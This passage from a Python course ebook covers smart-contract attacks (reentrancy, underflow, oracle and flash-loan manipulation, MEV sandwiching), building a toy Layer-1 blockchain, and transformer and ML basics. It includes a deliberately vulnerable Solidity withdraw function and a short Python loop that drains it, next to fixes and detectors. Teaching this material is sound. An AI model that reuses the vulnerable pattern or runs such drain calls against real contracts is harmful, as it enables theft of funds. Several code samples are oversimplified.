function deposit() public payable { 

    balances[msg.sender] += msg.value; 

} 

 

function withdraw() public { 

    uint amount = balances[msg.sender]; 

    (bool ok,) = msg.sender.call{value: amount}(""); // ❌ dangerous 

    require(ok); 

    balances[msg.sender] = 0; // ❌ moved after call 

} 

 

 

⭐ 44.1 Python Attacker Bot Simulation 

while True: 
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    contract.functions.withdraw().transact({"from": attacker}) 

 

This drains the contract before balance resets. 

 

⭐ 44.2 Secure Fix 

uint amount = balances[msg.sender]; 

balances[msg.sender] = 0; // FIX 

(bool ok,) = msg.sender.call{value: amount}(""); 

 

And add a reentrancy guard. 

 

⭐ 45. Integer Overflow / Underflow 

Before Solidity 0.8.0, this was common. 

Vulnerable: 

uint balance = 0; 

balance -= 1;  // underflow -> huge number 

 

 

⭐ 45.1 Python Attacker Simulation 

contract.functions.transfer("A", 2**256-1).transact({"from": attacker}) 
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⭐ 45.2 Secure Fix 

Solidity 0.8+ fixes automatically. 

Also use: 

using SafeMath for uint; 

 

 

⭐ 46. Oracle Manipulation Attack 

Many DeFi hacks use this.​
 Attackers manipulate: 

✔ on-chain oracles​
 ✔ low-liquidity pools 

Example: price feed depends on Uniswap pool. 

Attacker: 

1.​ Takes a flash loan​
 

2.​ Manipulates pool price​
 

3.​ Executes trade at manipulated price​
 

4.​ Repays flash loan​
 

5.​ Keeps profit​
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⭐ 46.1 Python Oracle Manipulation Simulator 

amm = AMM(1000, 1000) 

amm.swapAtoB(5000)  # manipulate price 

price = amm.get_price() 

print("Manipulated price:", price) 

 

 

⭐ 47. Flash Loan Attack — Full Workflow 

Flash loans allow borrowing unlimited money with zero collateral, as long as you repay within the 

same transaction. 

Attack flow: 

1.​ Borrow huge amount​
 

2.​ Manipulate protocol​
 

3.​ Drain liquidity​
 

4.​ Repay loan​
 

5.​ Keep profit​
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⭐ 47.1 Python Flash Loan Simulator 

def flash_loan_attack(protocol): 

    loan = protocol.borrow(1_000_000) 

    protocol.manipulate_pool(loan) 

    protocol.repay(loan) 

    return "Attack complete" 

 

 

⭐ 48. MEV Bots (Miner Extractable Value) 

MEV = reading the mempool​
 and executing profitable trades before others. 

Types: 

✔ front-running​
 ✔ back-running​
 ✔ sandwich attack​
 ✔ liquidations​
 ✔ arbitrage 

 

⭐ 48.1 Front-Running Simulation (Python) 

Attacker sees a user’s trade coming. 

pending_tx_price = 2000 

attacker_buy = 1990  # buy first 

user_trade = 2000    # user pushes price up 
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attacker_sell = 2015 # attacker sells at peak 

 

 

⭐ 48.2 Sandwich Attack 

Flow: 

1.​ attacker buys​
 

2.​ user buys (price increases)​
 

3.​ attacker sells (profit)​
 

 

⭐ 48.3 Python Sandwich Attack Simulator 

def sandwich(price, user_amount): 

    attacker_buy = price 

    price += user_amount * 0.02  # slippage impact 

    attacker_sell = price 

    return attacker_sell - attacker_buy 

 

 

⭐ 49. Private Key Attacks 

Private key theft scenarios: 
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✔ phishing​
 ✔ keylogger​
 ✔ clipboard replacement​
 ✔ seed phrase theft​
 ✔ weak mnemonics​
 ✔ brute force (rare) 

We simulate educational-only brute-force of weak keys. 

 

⭐ 49.1 Weak Key Brute Force Simulation 

import itertools 

 

alphabet = "abc123" 

for combo in itertools.product(alphabet, repeat=4): 

    if "".join(combo) == "1b2c": 

        print("Found key:", combo) 

        break 

 

 

⭐ 50. Replay Attacks 

Same signed transaction reused on another chain. 

Defense: 

✔ chain ID (EIP-155)​
 ✔ domain separator in signatures 
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⭐ 51. Smart Contract Forensics (Web3 DFIR) 

Tools: 

✔ Python + web3.py​
 ✔ Etherscan API​
 ✔ Tenderly​
 ✔ Dune​
 ✔ The Graph 

We will: 

1.​ fetch attacker transactions​
 

2.​ reconstruct attack​
 

3.​ decode method signatures​
 

4.​ trace fund flows​
 

5.​ identify laundering patterns​
 

 

⭐ 51.1 Python DFIR Script 

tx = w3.eth.get_transaction(tx_hash) 

input_data = tx["input"] 

print("Method:", input_data[:10]) 

 

Decode function name using: 

526 



 

 

●​ 4-byte selector​
 

●​ contract ABI​
 

 

⭐ 52. Wallet Drainer & Malicious Signature Detection 

Detect: 

✔ permit signature abuse​
 ✔ blind signing​
 ✔ approve unlimited​
 ✔ phishing NFT approvals​
 ✔ malicious HTML wallet popups 

Python detects abnormal patterns. 

 

⭐ 52.1 Detect Malicious Approvals 

if "approve" in method_name and value > 1_000_000: 

    print("WARNING: suspicious approval") 

 

 

⭐ 53. Rug Pull Detector (Python) 

Detect: 

✔ Liquidity withdrawn​
 ✔ Creator sells all tokens​
 ✔ Contract “owner” still holds minting rights​
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 ✔ Sudden supply increase​
 ✔ Honeypot behavior 

 

⭐ 53.1 Liquidity Pull Checker 

if liquidity_pool_balance < threshold: 

    print("Rug pull detected!") 

 

 

⭐ 54. Smart Contract Security Checklist 

🔥 Top 10 Secure Coding Rules: 

1.​ Use checks-effects-interactions​
 

2.​ Use reentrancy guards​
 

3.​ Validate msg.sender​
 

4.​ Limit external calls​
 

5.​ Avoid floating pragma​
 

6.​ Use OpenZeppelin libraries​
 

7.​ Implement pause emergency​
 

8.​ Avoid unbounded loops​
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9.​ Prefer pull payments​
 

10.​ Use role-based access control​
 

 

⭐ 55. Secure Smart Contract Architecture (2025 

Standard) 

Recommended pattern: 

✔ proxy upgrade pattern​
 ✔ transparent upgradeable proxy​
 ✔ diamond pattern (EIP-2535)​
 ✔ UUPS​
 ✔ multi-sig admin​
 ✔ access control roles​
 ✔ kill switch​
 ✔ timelock governance 

 

⭐ 56. AI-Driven Smart Contract Vulnerability Scanner 

(Python) 

Train model to: 

✔ detect reentrancy​
 ✔ detect dangerous patterns​
 ✔ detect misused opcodes​
 ✔ detect scam patterns​
 ✔ detect exploitable logic 

Example simple pattern detector: 

if "call.value" in contract_code and "reentrancy" not in code: 
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    print("Vulnerability: Reentrancy risk") 

 

 

⭐ 57. Blockchain Threat Intelligence 

You will monitor: 

✔ hacked addresses​
 ✔ malicious actors​
 ✔ exploitable contracts​
 ✔ rug pull watchlist​
 ✔ phishing site signatures​
 ✔ malware targeting crypto wallets​
 ✔ MEV bot behavior 

Python can build full threat intel pipelines. 

 

⭐ 58. FINAL SECURITY PROJECT — CDB WEB3 

SECURITY SUITE 

You will build: 

🔹 Smart Contract Scanner​
 🔹 Transaction Analyzer​
 🔹 Honeypot Detector​
 🔹 Rug Pull Detector​
 🔹 Flash Loan Attack Detector​
 🔹 MEV Attack Pattern Scanner​
 🔹 Address Reputation System​
 🔹 Web3 Forensic Engine​
 🔹 Signature Safety Checker 

This will be integrated into: 
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🔥 CyberDudeBivash Mega Blockchain Security Platform​
 (can be sold as a product) 

 

⭐ MODULE 6 — PART 5 

🚀 BUILDING A COMPLETE LAYER-1 BLOCKCHAIN + 

CONSENSUS + INFRASTRUCTURE 

 

⭐ 59. FULL ARCHITECTURE OF A LAYER-1 BLOCKCHAIN 

A blockchain consists of: 

🔥 1. Network Layer 

●​ P2P connections​
 

●​ Propagation of blocks​
 

●​ Node discovery​
 

●​ Gossip protocol​
 

🔥 2. Consensus Layer 

●​ PoW​
 

●​ PoS​
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●​ DPoS​
 

●​ PBFT​
 

●​ HotStuff​
 

●​ Tendermint​
 

🔥 3. Execution Layer 

●​ EVM / WASM​
 

●​ transaction execution​
 

●​ smart contract execution​
 

🔥 4. Data Layer 

●​ blocks​
 

●​ transactions​
 

●​ receipts​
 

●​ state​
 

🔥 5. Application Layer 

●​ wallet​
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●​ explorer​
 

●​ RPC APIs​
 

●​ apps running on top​
 

You will learn ALL. 

 

⭐ 60. BUILD YOUR OWN L1 BLOCKCHAIN (Advanced) 

This is bigger than the small blockchain we created earlier. 

We will implement: 

✔ networking​
 ✔ mempool​
 ✔ block propagation​
 ✔ consensus​
 ✔ state machine​
 ✔ cryptography​
 ✔ transactions​
 ✔ multiple nodes​
 ✔ miner/validator​
 ✔ RPC interface​
 ✔ explorer backend 

Let’s do this. 

 

⭐ 60.1 Directory Structure 

cdbchain/ 

 ├── node.py 
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 ├── blockchain.py 

 ├── block.py 

 ├── transaction.py 

 ├── mempool.py 

 ├── p2p.py 

 ├── consensus.py 

 ├── wallet.py 

 ├── rpc.py 

 └── explorer.py 

 

 

⭐ 60.2 Block Structure (Advanced) 

class Block: 

    def __init__(self, index, prev_hash, merkle_root, timestamp, nonce, txs): 

        self.index = index 

        self.prev_hash = prev_hash 

        self.merkle_root = merkle_root 

        self.timestamp = timestamp 

        self.nonce = nonce 

        self.txs = txs 

 

    def compute_hash(self): 

        block_string = json.dumps(self.__dict__, sort_keys=True) 

534 



 

 

        return hashlib.sha256(block_string.encode()).hexdigest() 

 

 

⭐ 60.3 Merkle Tree Implementation 

def merkle_root(transactions): 

    hashes = [hashlib.sha256(tx.encode()).hexdigest() for tx in transactions] 

    while len(hashes) > 1: 

        if len(hashes) % 2 != 0: 

            hashes.append(hashes[-1]) 

        hashes = [ 

            hashlib.sha256((hashes[i] + hashes[i+1]).encode()).hexdigest() 

            for i in range(0, len(hashes), 2) 

        ] 

    return hashes[0] 

 

 

⭐ 60.4 Mempool Implementation 

Mempool holds unconfirmed transactions. 

class Mempool: 

    def __init__(self): 

        self.pool = [] 
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    def add(self, tx): 

        self.pool.append(tx) 

 

    def get_batch(self, size=10): 

        batch = self.pool[:size] 

        self.pool = self.pool[size:] 

        return batch 

 

 

⭐ 60.5 Transaction Structure (Advanced) 

class Transaction: 

    def __init__(self, from_addr, to_addr, amount, signature): 

        self.from_addr = from_addr 

        self.to_addr = to_addr 

        self.amount = amount 

        self.signature = signature 

 

Add: 

✔ nonce​
 ✔ gas​
 ✔ gas price​
 ✔ timestamp 
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⭐ 60.6 Node Networking (P2P) 

Each node should: 

✔ connect to peers​
 ✔ send blocks​
 ✔ gossip transactions​
 ✔ sync blockchain 

We implement gossip P2P: 

class P2P: 

    def __init__(self): 

        self.peers = set() 

 

    def add_peer(self, address): 

        self.peers.add(address) 

 

    def broadcast(self, data): 

        for peer in self.peers: 

            requests.post(f"{peer}/p2p", json=data) 

 

 

⭐ 61. CONSENSUS ALGORITHMS (FULL BREAKDOWN) 

We will build: 

●​ PoW​
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●​ PoS​
 

●​ DPoS​
 

●​ PBFT​
 

●​ HotStuff​
 

●​ Hybrid Consensus​
 

Let’s go through each. 

 

⭐ 61.1 Proof of Work (PoW) 

def pow(self, block, difficulty): 

    block.nonce = 0 

    computed_hash = block.compute_hash() 

    while not computed_hash.startswith("0" * difficulty): 

        block.nonce += 1 

        computed_hash = block.compute_hash() 

    return computed_hash 

 

 

⭐ 61.2 Proof of Stake (PoS) 

import random 
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def select_validator(validators): 

    total = sum(validators.values()) 

    pick = random.uniform(0, total) 

    current = 0 

 

    for validator, stake in validators.items(): 

        current += stake 

        if current >= pick: 

            return validator 

 

 

⭐ 61.3 Delegated Proof of Stake (DPoS) 

DPoS = shareholders vote delegates. 

votes = {"A": 100, "B": 50, "C": 20} 

validators = sorted(votes, key=votes.get, reverse=True)[:21] 

 

 

⭐ 61.4 PBFT (Practical Byzantine Fault Tolerance) 

Nodes: 

✔ pre-prepare​
 ✔ prepare​
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 ✔ commit​
 ✔ respond 

Fault tolerance: 

3f + 1 nodes can tolerate f malicious nodes 

 

 

⭐ 61.5 HOTSTUFF (Used by Facebook Libra / Diem) 

HotStuff is: 

✔ leader-based​
 ✔ pipelined​
 ✔ fast finality 

We simulate: 

class HotStuff: 

    def propose(self, block): pass 

    def vote(self, block): pass 

    def commit(self, block): pass 

 

 

⭐ 62. IMPLEMENT CONSENSUS SELECTION ENGINE 

if mode == "pow": 

    hash = self.pow(block, difficulty) 

elif mode == "pos": 

    validator = select_validator(self.validators) 
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elif mode == "dpos": 

    validator = select_dpos() 

elif mode == "pbft": 

    self.pbft_execute(block) 

 

 

⭐ 63. RPC INTERFACE (FULL BLOCKCHAIN API) 

We expose: 

✔ get_block​
 ✔ get_balance​
 ✔ send_transaction​
 ✔ get_transaction_pool​
 ✔ mine​
 ✔ get_peers​
 ✔ sync 

Example: 

@app.route("/send_tx", methods=["POST"]) 

def send_tx(): 

    tx = request.json 

    mempool.add(tx) 

    p2p.broadcast(tx) 

    return "TX added" 
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⭐ 64. WALLET ENGINE (Production-Ready) 

Your wallet must handle: 

✔ public/private key generation​
 ✔ signing​
 ✔ verifying​
 ✔ nonce tracking​
 ✔ gas calculation​
 ✔ encryption of private key 

Use ECDSA: 

from ecdsa import SigningKey 

 

sk = SigningKey.generate() 

vk = sk.get_verifying_key() 

 

 

⭐ 65. BLOCKCHAIN EXPLORER (FULL BACKEND) 

Endpoints: 

●​ /block/<height>​
 

●​ /tx/<hash>​
 

●​ /address/<addr>​
 

●​ /latest​
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Example: 

@app.get("/block/<height>") 

def block_by_height(height): 

    block = chain[int(height)] 

    return block.__dict__ 

 

 

⭐ 66. SIDECHAIN + BRIDGES (CROSS-CHAIN 

INTEROPERABILITY) 

Cross-chain bridging steps: 

✔ lock tokens on chain A​
 ✔ mint tokens on chain B​
 ✔ burn tokens on chain B​
 ✔ release tokens on chain A 

Python Responsibilities: 

✔ signature verification​
 ✔ proof verification​
 ✔ monitoring​
 ✔ relayer bots 

 

⭐ 66.1 Bridge Lock Contract (Simplified) 

mapping(address => uint) public locked; 

 

function lock(uint amount) public { 
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    locked[msg.sender] += amount; 

} 

 

 

⭐ 66.2 Python Bridge Relayer 

def relay(lock_event): 

    proof = generate_proof(lock_event) 

    send_to_chain_b(proof) 

 

 

⭐ 67. TOKENOMICS DESIGN (FULL GUIDE) 

Tokenomics decides: 

✔ supply​
 ✔ distribution​
 ✔ inflation​
 ✔ utility​
 ✔ burn mechanics​
 ✔ staking rewards​
 ✔ governance rights​
 ✔ vesting schedules 

We calculate: 

⭐ Total Supply 

S = initial_supply + inflation - burns - locking 
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⭐ 67.1 Inflation Model 

def inflation(rate, supply): 

    return supply * rate 

 

 

⭐ 68. VALIDATOR NODE SETUP (DEVOPS + SECURITY) 

Full guide includes: 

✔ hardware requirements​
 ✔ staking procedures​
 ✔ signing keys​
 ✔ slashing prevention​
 ✔ monitoring​
 ✔ backups​
 ✔ uptime SLA 

You’ll learn: 

🔥 how to deploy validator nodes on AWS/GCP​
 🔥 how to automate with Python DevOps scripts​
 🔥 how to secure with firewall rules​
 🔥 how to set up failover nodes 

 

⭐ 69. RUN YOUR OWN FULL RPC NODE 

RPC Nodes provide: 

✔ blockchain data​
 ✔ transaction broadcast​
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 ✔ block lookup​
 ✔ event logs​
 ✔ smart contract calls 

We will configure: 

✔ Geth (Ethereum)​
 ✔ OpenEthereum​
 ✔ Nethermind​
 ✔ Erigon 

Python automates: 

●​ syncing​
 

●​ archive mode​
 

●​ pruning​
 

●​ snapshot sync​
 

 

⭐ 70. ORCHESTRATE NODES WITH DOCKER + PYTHON 

Dockerfile: 

FROM ubuntu 

RUN apt update && apt install -y geth 

CMD ["geth", "--http", "--syncmode=full"] 

 

Python launcher: 

subprocess.run(["docker", "run", "-p", "8545:8545", "cdbchain-node"]) 
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⭐ 71. PERFORMANCE OPTIMIZATION FOR BLOCKCHAIN 

We optimize: 

✔ Block time 

✔ Transaction throughput 

✔ Signature verification speed 

✔ Propagation time 

✔ Storage usage 

✔ Consensus delay 

Python simulation example: 

def throughput(tps, duration): 

    return tps * duration 

 

 

⭐ 72. FINAL MEGA PROJECT — CDB L1 BLOCKCHAIN 

NETWORK 

You will build: 

🔥 CyberDudeBivashChain (Layer-1)​
 ✔ P2P Network​
 ✔ Mempool​
 ✔ Consensus Engine​
 ✔ Miner/Validator​
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 ✔ RPC Node​
 ✔ Smart Contract Engine​
 ✔ Wallet​
 ✔ Block Explorer​
 ✔ Sidechain Bridge​
 ✔ Tokenomics​
 ✔ Validator Orchestration​
 ✔ Dockerized Deployment 

This is a FULL L1 BLOCKCHAIN ECOSYSTEM. 

You can publish this as: 

➡ CyberDudeBivash Blockchain Developer Course​
 ➡ Your own Layer-1 network​
 ➡ A paid premium certification​
 ➡ A Web3 product suite under your brand 

 

 

⭐ MODULE 7 — PART 1 

🚀 PYTHON FOR AI & MACHINE LEARNING 

FOUNDATIONS (EXTREME DEEP DIVE) 

Let’s go MACHAAAAAAAAAAA 🔥⚡🔥⚡🔥⚡🔥 

 

⭐ 1. What Is AI? (Crystal Clear Explanation) 

AI = Machines performing tasks that normally require human intelligence. 

Python is the #1 language for AI, because: 
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✔ Huge libraries​
 ✔ Amazing tooling​
 ✔ Community support​
 ✔ Easy to write​
 ✔ Fast to prototype​
 ✔ Integrates with C/C++​
 ✔ Works with GPUs​
 ✔ Perfect for data manipulation 

AI comprises: 

●​ Machine Learning (ML)​
 

●​ Deep Learning (DL)​
 

●​ Neural Networks​
 

●​ Natural Language Processing (NLP)​
 

●​ Generative AI​
 

●​ Reinforcement Learning​
 

●​ Agents​
 

●​ Computer Vision​
 

●​ Speech & Audio AI​
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⭐ 2. The AI Engineering Roadmap 

To become a true AI engineer, you need: 

✔ Math 

●​ Linear algebra​
 

●​ Calculus​
 

●​ Probability​
 

●​ Statistics​
 

✔ Python 

●​ NumPy​
 

●​ Pandas​
 

●​ Matplotlib​
 

●​ SciPy​
 

✔ ML 

●​ Scikit-learn​
 

●​ KNN, SVM, Decision Trees​
 

●​ Clustering​
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●​ Naive Bayes​
 

●​ Regression​
 

●​ Ensemble Models​
 

✔ Deep Learning 

●​ TensorFlow​
 

●​ PyTorch​
 

●​ CNNs​
 

●​ RNNs​
 

●​ Transformers​
 

●​ GANs​
 

●​ Diffusion models​
 

✔ LLM Development 

●​ Tokenization​
 

●​ Attention​
 

●​ Pre-training​
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●​ Fine-tuning​
 

●​ Inference optimization​
 

●​ Model compression​
 

✔ Agents 

●​ Reasoning engines​
 

●​ Tool use​
 

●​ Multi-step workflows​
 

●​ Memory​
 

●​ Retrieval systems​
 

✔ ML Ops 

●​ model deployment​
 

●​ monitoring​
 

●​ pipelines​
 

●​ data engineering​
 

●​ inferencing at scale​
 

This module covers all of these. 
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⭐ 3. Python AI Libraries Overview 
Area Libraries 

Numerical computing NumPy, SciPy 

Data manipulation Pandas, Polars 

Visualization Matplotlib, Seaborn 

ML scikit-learn 

DL PyTorch, TensorFlow, Keras 

NLP Transformers, spaCy, NLTK 

Agents LangChain, LlamaIndex 

Deployment FastAPI, Flask, ONNX 

GPU compute CUDA, cuDNN, RAPIDS 

 

⭐ 4. NumPy for AI (Everything You Need) 

NumPy = the backbone of all ML & DL. 

Create Array 

import numpy as np 

arr = np.array([1, 2, 3]) 

 

Matrix Ops (VERY important) 

A = np.array([[1,2],[3,4]]) 

B = np.array([[5,6],[7,8]]) 
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C = A + B 

D = A * B 

E = A.dot(B) 

 

 

⭐ 5. Pandas for Data Processing 

AI = 80% data cleaning, 20% modeling. 

Load Dataset 

import pandas as pd 

df = pd.read_csv("data.csv") 

 

Check Data 

df.head() 

df.describe() 

df.isna().sum() 

 

Clean Data 

df.fillna(df.mean(), inplace=True) 
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⭐ 6. Matplotlib for Visualization 

import matplotlib.pyplot as plt 

 

plt.plot(df["age"], df["salary"]) 

plt.show() 

 

 

⭐ 7. Machine Learning Basics 

ML = making predictions or decisions without explicit programming. 

ML Categories 

1.​ Supervised Learning​
 

○​ Regression​
 

○​ Classification​
 

2.​ Unsupervised Learning​
 

○​ Clustering​
 

○​ Dimensionality reduction​
 

3.​ Reinforcement Learning​
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○​ agents that learn via reward​
 

 

⭐ 8. Build Your First AI Model (scikit-learn) 

Example: Predict Salary from Experience 

from sklearn.linear_model import LinearRegression 

 

model = LinearRegression() 

model.fit(X, y) 

model.predict([[5]])  # predict for 5 years exp 

 

 

⭐ 9. Classification Example: Iris Dataset 

from sklearn.datasets import load_iris 

from sklearn.neighbors import KNeighborsClassifier 

 

iris = load_iris() 

model = KNeighborsClassifier(n_neighbors=3) 

model.fit(iris.data, iris.target) 

model.predict([iris.data[0]]) 
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⭐ 10. Train–Test Split 

from sklearn.model_selection import train_test_split 

 

X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2) 

 

 

⭐ 11. Evaluation Metrics (VERY IMPORTANT) 

Classification 

✔ Accuracy​
 ✔ Precision​
 ✔ Recall​
 ✔ F1 Score​
 ✔ Confusion Matrix 

Regression 

✔ MSE​
 ✔ RMSE​
 ✔ MAE​
 ✔ R² Score 

Example: 

from sklearn.metrics import accuracy_score 

accuracy_score(y_test, preds) 
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⭐ 12. Feature Scaling (Absolutely Necessary) 

from sklearn.preprocessing import StandardScaler 

 

scaler = StandardScaler() 

X_scaled = scaler.fit_transform(X) 

 

Scaling is crucial for: 

✔ SVM​
 ✔ KNN​
 ✔ Logistic regression​
 ✔ Neural networks 

 

⭐ 13. Popular ML Algorithms (Crystal Clear Guide) 

🔥 Linear Regression 

Predict continuous values. 

🔥 Logistic Regression 

Binary classification. 

🔥 Decision Trees 

If-else rules. 

🔥 Random Forest 

Bag of trees. 

🔥 XGBoost 

The most powerful tabular data model. 
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🔥 K-means 

Clustering. 

🔥 PCA 

Dimensionality reduction. 

 

⭐ 14. Build XGBoost Model (Powerful) 

pip install xgboost 

 

import xgboost as xgb 

 

model = xgb.XGBClassifier() 

model.fit(X_train, y_train) 

model.predict(X_test) 

 

 

⭐ 15. Neural Network Introduction 

A neural network learns patterns using: 

●​ weights​
 

●​ biases​
 

●​ activation functions​
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Basic NN structure: 

import tensorflow as tf 

model = tf.keras.Sequential([ 

    tf.keras.layers.Dense(32, activation='relu'), 

    tf.keras.layers.Dense(1) 

]) 

 

 

⭐ 16. Activation Functions 
Function Uses 

ReLU hidden layers 

Sigmoid binary output 

Softmax multi-class 

Tanh normalized outputs 

 

⭐ 17. Training Neural Networks 

model.compile(optimizer='adam', loss='mse') 

model.fit(X_train, y_train, epochs=20) 
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⭐ 18. Overfitting vs Underfitting 

Fix overfitting: 

✔ Regularization​
 ✔ Dropout​
 ✔ More data​
 ✔ Batch normalization​
 ✔ Early stopping 

 

⭐ 19. Build CNN (Computer Vision) 

model = tf.keras.Sequential([ 

    tf.keras.layers.Conv2D(32, (3,3), activation='relu'), 

    tf.keras.layers.MaxPool2D(), 

    tf.keras.layers.Flatten(), 

    tf.keras.layers.Dense(64, activation='relu'), 

    tf.keras.layers.Dense(10, activation='softmax') 

]) 

 

 

⭐ 20. Build RNN/LSTM (Sequence Models) 

model = tf.keras.Sequential([ 

    tf.keras.layers.LSTM(64), 

    tf.keras.layers.Dense(1) 
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]) 

 

Used for: 

✔ Sentiment​
 ✔ Time series​
 ✔ Language modeling​
 ✔ Speech 

 

⭐ MODULE 7 — PART 2 

🚀 TRANSFORMERS, SELF-ATTENTION & BUILD YOUR 

OWN GPT (FROM SCRATCH) 

 

⭐ 21. Why Transformers Changed AI Forever 

Before Transformers: 

❌ RNNs were slow​
 ❌ LSTMs couldn’t parallelize​
 ❌ Long sequences broke them​
 ❌ They forgot context​
 ❌ Training took months 

Then in 2017: 

🔥 Attention Is All You Need (Google Paper)​
 introduced Transformers. 

Transformers solved everything: 
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✔ understand long sequences​
 ✔ parallel processing​
 ✔ scale to billions of parameters​
 ✔ learn rich contextual meaning​
 ✔ train efficiently​
 ✔ foundation for GPT, BERT, LLaMA, Claude, Gemini 

Transformers RUN THE WORLD now. 

 

⭐ 22. The Core Idea: SELF-ATTENTION 

Self-attention tells the model: 

👉 “Which words should I pay attention to?” 

Example sentence: 

“The cat sat on the mat because it was tired.” 

The word “it” refers to “cat”.​
 Self-attention learns this automatically. 

 

⭐ 23. Q, K, V — Query, Key, Value 

Each token (word) is transformed into: 

●​ Query​
 

●​ Key​
 

●​ Value​
 

These determine how much attention each token gives to others. 
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In Python (simplified): 

Q = X @ Wq 

K = X @ Wk 

V = X @ Wv 

 

Where X = token embeddings. 

 

⭐ 24. Attention Formula (VERY IMPORTANT) 

Attention(Q, K, V) = softmax(QKᵀ / √d) V 

 

This means: 

1.​ Compare each query to every key​
 

2.​ Scale​
 

3.​ Normalize with softmax​
 

4.​ Multiply with values​
 

 

⭐ 25. Multi-Head Attention (MHA) 

One attention head captures one pattern.​
 Multiple heads capture multiple patterns: 
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✔ syntax​
 ✔ semantics​
 ✔ long-term dependencies​
 ✔ relationships​
 ✔ token roles​
 ✔ meaning 

Python skeleton: 

class MultiHeadAttention: 

    def __init__(self, num_heads): 

        ... 

    def forward(self, X): 

        ... 

 

 

⭐ 26. Positional Encoding 

Transformers don’t know sentence order.​
 Positional encoding gives each token a unique time index. 

Formula: 

PE(pos, i) = sin(pos / 10000^(i/d)) 

PE(pos, i+1) = cos(pos / 10000^(i/d)) 

 

 

⭐ 27. Transformer Encoder Architecture 

Encoder includes: 
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✔ Multi-head self-attention​
 ✔ Add & Norm​
 ✔ Feed-forward network​
 ✔ Add & Norm 

Python version: 

class EncoderLayer: 

    def __init__(...): 

        self.mha = MultiHeadAttention(...) 

        self.ffn = FeedForward() 

     

    def forward(self, X): 

        att = self.mha(X) 

        X = LayerNorm(X + att) 

        f = self.ffn(X) 

        return LayerNorm(X + f) 

 

 

⭐ 28. Transformer Decoder Architecture (GPT uses this) 

Decoder includes: 

✔ Masked self-attention​
 ✔ Add & Norm​
 ✔ Feed-forward​
 ✔ Add & Norm 

The mask prevents model from looking ahead. 
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⭐ 29. GPT Architecture (Decoder-Only Transformer) 

GPT removes: 

✔ Encoder​
 ✔ Encoder-decoder attention 

GPT uses: 

●​ Tokenizer​
 

●​ Embedding layer​
 

●​ N decoder blocks​
 

●​ LM head for prediction​
 

Stack: 

Token → Embedding → N Decoder Layers → Linear → Softmax 

 

 

⭐ 30. Build A Tokenizer (BPE — Byte-Pair Encoding) 

Tokenizer splits text into tokens: 

✔ characters​
 ✔ words​
 ✔ subwords 

BPE merges frequently occurring pairs. 
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Simple Python Tokenizer 

import re 

 

def tokenize(text): 

    return re.findall(r"\w+|[^\w\s]", text) 

 

 

⭐ 31. Build Embedding Layer 

class EmbeddingLayer: 

    def __init__(self, vocab_size, dim): 

        self.weights = np.random.randn(vocab_size, dim) 

 

    def forward(self, token_ids): 

        return self.weights[token_ids] 

 

 

⭐ 32. Build Multi-Head Attention (Python) 

import numpy as np 

 

class MultiHeadAttention: 

    def __init__(self, dim, num_heads): 

        self.num_heads = num_heads 
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        self.dim = dim 

        self.head_dim = dim // num_heads 

         

        self.Wq = np.random.randn(dim, dim) 

        self.Wk = np.random.randn(dim, dim) 

        self.Wv = np.random.randn(dim, dim) 

     

    def split_heads(self, X): 

        return X.reshape(X.shape[0], self.num_heads, self.head_dim) 

     

    def forward(self, X): 

        Q = X @ self.Wq 

        K = X @ self.Wk 

        V = X @ self.Wv 

         

        scores = (Q @ K.transpose(0,2,1)) / np.sqrt(self.dim) 

        weights = softmax(scores) 

        return weights @ V 

 

 

⭐ 33. Build Feed-Forward Network (FFN) 

class FFN: 

    def __init__(self, dim): 
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        self.W1 = np.random.randn(dim, dim*4) 

        self.W2 = np.random.randn(dim*4, dim) 

     

    def forward(self, X): 

        return X @ self.W1 @ self.W2 

 

 

⭐ 34. Build One Decoder Block (GPT Block) 

class DecoderBlock: 

    def __init__(self, dim, heads): 

        self.mha = MultiHeadAttention(dim, heads) 

        self.ffn = FFN(dim) 

 

    def forward(self, X): 

        att = self.mha.forward(X) 

        X = X + att 

        f = self.ffn.forward(X) 

        return X + f 

 

 

⭐ 35. Build GPT (Full Model) 

class MiniGPT: 
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    def __init__(self, vocab, dim, depth, heads): 

        self.emb = EmbeddingLayer(vocab, dim) 

        self.blocks = [DecoderBlock(dim, heads) for _ in range(depth)] 

        self.lm_head = np.random.randn(dim, vocab) 

     

    def forward(self, tokens): 

        X = self.emb.forward(tokens) 

        for block in self.blocks: 

            X = block.forward(X) 

        logits = X @ self.lm_head 

        return logits 

 

 

⭐ 36. Training Your Mini GPT 

Loss function: Cross Entropy 

Optimizer: Adam 

Dataset: Text corpus 

Model learns: Next-token prediction 

Training loop: 

for epoch in range(100): 

    logits = model.forward(tokens) 

    loss = cross_entropy(logits, targets) 

    update_weights(model, loss) 
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⭐ 37. Fine-Tuning GPT 

Fine-tune on: 

✔ customer support​
 ✔ cybersecurity text​
 ✔ medical text​
 ✔ finance​
 ✔ coding​
 ✔ personal dataset 

Fine-tuning wildly improves: 

●​ accuracy​
 

●​ alignment​
 

●​ behavior​
 

●​ domain knowledge​
 

 

⭐ 38. Inference Optimization 

We cover: 

✔ KV caching​
 ✔ Quantization​
 ✔ ONNX export​
 ✔ FasterTransformer​

572 



 

 

 ✔ FlashAttention​
 ✔ Speculative decoding 

 

⭐ 39. Embeddings (Vector Representations) 

Embedding models convert text → vectors. 

Used for: 

✔ search​
 ✔ semantic similarity​
 ✔ AI Agents memory​
 ✔ recommendations​
 ✔ clustering 

Python example: 

from sentence_transformers import SentenceTransformer 

model = SentenceTransformer("all-MiniLM-L6-v2") 

vector = model.encode("Hello macha") 

 

 

⭐ 40. Building AI Agents (Overview) 

Agents need: 

✔ reasoning​
 ✔ memory​
 ✔ tool use​
 ✔ planning​
 ✔ multi-step workflows​
 ✔ context management 

Frameworks: 
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●​ LangChain​
 

●​ LlamaIndex​
 

●​ Haystack​
 

●​ RAG systems​
 

We will build a complete agent system in next parts. 

 

⭐ MODULE 7 — PART 3 

🚀 NLP • CHATBOTS • RAG • COMPUTER VISION • VOICE 

AI • AGENTS • DEPLOYMENT 

 

⭐ 41. NLP (Natural Language Processing) with Python 

NLP = where machines understand human language. 

Modern NLP uses Transformers, but classical NLP is also important. 

Python NLP libraries: 

●​ spaCy​
 

●​ NLTK​
 

●​ HuggingFace Transformers​
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●​ TextBlob​
 

●​ Gensim​
 

 

⭐ 41.1 spaCy Basics 

Install: 

pip install spacy 

python -m spacy download en_core_web_sm 

 

Example: 

import spacy 

nlp = spacy.load("en_core_web_sm") 

 

doc = nlp("CyberDudeBivash builds AI apps.") 

 

for token in doc: 

    print(token.text, token.pos_) 

 

 

